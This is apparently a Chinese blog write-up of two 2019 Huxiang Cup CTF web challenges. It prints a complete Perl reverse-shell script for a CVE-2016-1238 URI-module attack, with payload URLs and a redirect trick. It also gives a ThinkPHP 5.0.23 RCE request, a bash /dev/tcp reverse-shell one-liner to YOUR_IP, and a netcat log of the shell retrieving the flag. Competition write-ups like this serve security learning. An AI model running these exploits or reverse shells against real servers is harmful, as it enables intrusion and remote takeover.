AMao
小菜鸡目前对一些东西的认知,希望师傅们可以帮忙纠正!

2019湖湘杯WP-Web

2020-07-17 CTF
Word count: 930 | Reading time: 5min

unzip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
die(); //只能以http://和https://开头
$url = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);
  • hitcon-ctf-2017/ssrfme 有点类似,不过这里多了一个正则过滤,这里参考了 Pr0ph3t 师傅的一篇WP

  • 解题思路

    • CVE-2016-1238

      URI/lib/URi.pm 136行,有一个 eval "require $ic"; 语句,当解析遇到一个未定义的协议时,会require 这个未知协议。而require的时候,perl 脚本会自动搜索当下目录的 URI目录 和 perl 库目录来导入以 .pm结尾的模块

    • 按照这个思路,需要先在URI目录下写入 amao.pm 文件,再构造:/?url=amao://amao.com&filename=xxx ,让服务器执行脚本

操作:

生成 amao.pm 文件

  • Perl 反弹shell 文件:backdoor.txt (放在我的VPS上)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    #!/usr/bin/perl -w
    # perl-reverse-shell - A Reverse Shell implementation in PERL
    use strict;
    use Socket;
    use FileHandle;
    use POSIX;
    my $VERSION = "1.0";

    # Where to send the reverse shell. Change these.
    my $ip = '127.0.0.1';
    my $port = 12345;

    # Options
    my $daemon = 1;
    my $auth = 0; # 0 means authentication is disabled and any
    # source IP can access the reverse shell
    my $authorised_client_pattern = qr(^127\.0\.0\.1$);

    # Declarations
    my $global_page = "";
    my $fake_process_name = "/usr/sbin/apache";

    # Change the process name to be less conspicious
    $0 = "[httpd]";

    # Authenticate based on source IP address if required
    if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
    unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
    cgiprint("ERROR: Your client isn't authorised to view this page");
    cgiexit();
    }
    }
    } elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
    }

    # Background and dissociate from parent process if required
    if ($daemon) {
    my $pid = fork();
    if ($pid) {
    cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
    }

    # Make TCP connection for reverse shell
    socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
    } else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();
    }

    # Redirect STDIN, STDOUT and STDERR to the TCP connection
    open(STDIN, ">&SOCK");
    open(STDOUT,">&SOCK");
    open(STDERR,">&SOCK");
    $ENV{'HISTFILE'} = '/dev/null';
    system("w;uname -a;id;pwd");
    exec({"/bin/sh"} ($fake_process_name, "-i"));

    # Wrapper around print
    sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
    }

    # Wrapper around exit
    sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
    }

    # Form HTTP response using all the messages gathered by cgiprint so far
    sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
    }
  • 上传到服务器

    • payload:http://183.129.189.62:19507/?url=http://YOUR_IP/backdoor.txt&filename=URI/amao.pm

    • 确认是否上传成功

      http://183.129.189.62:19507/sandbox/b4df78aee698fff863ac78d9241d0e96/URI

执行脚本

  • 但是这里限定了只能使用 httphttps ,只需要加一个403跳转(VPS需要开启php的http服务)

    403.php

    1
    2
    3
    4
    //403.php
    <?php
    header("Location:amao://amao.com");
    ?>
  • 监听端口:nc -lvvv 1234

  • http://183.129.189.62:19507/?url=http://YOUR_IP/403.php&filename=xxxxx

  • 获取flag:/catflag

thinkphp

  • Think PHP 5.0.23 存在的RCE漏洞

  • exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST /index.php?s=captcha HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
  • TIPS:这里要用 post

  • 反弹shell

    bash%20-c%20%22sh%20%3E%26%20%2fdev%2ftcp%2fYOUR_IP%2fYOUR_PORT%200%3E%261%22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@AMao:/var/www/html# nc -lvvv 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [183.129.189.58] port 1234 [tcp/*] accepted (family 2, sport 51922)
ls
application
build.php
composer.json
composer.lock
extend
index.php
public
router.php
runtime
thinkphp
vendor
www.zip
pwd
/var/www/html
cat /flag
flag{377c4dc14ed8b087654eba9d56a630a8}
Connection reset by 47.100.94.228 port 22
< PreviousPost
浅谈 Docker
CATALOG
  1. 1. unzip
    1. 1.1. 操作:
      1. 1.1.1. 生成 amao.pm 文件
    2. 1.2. 执行脚本
  2. 2. thinkphp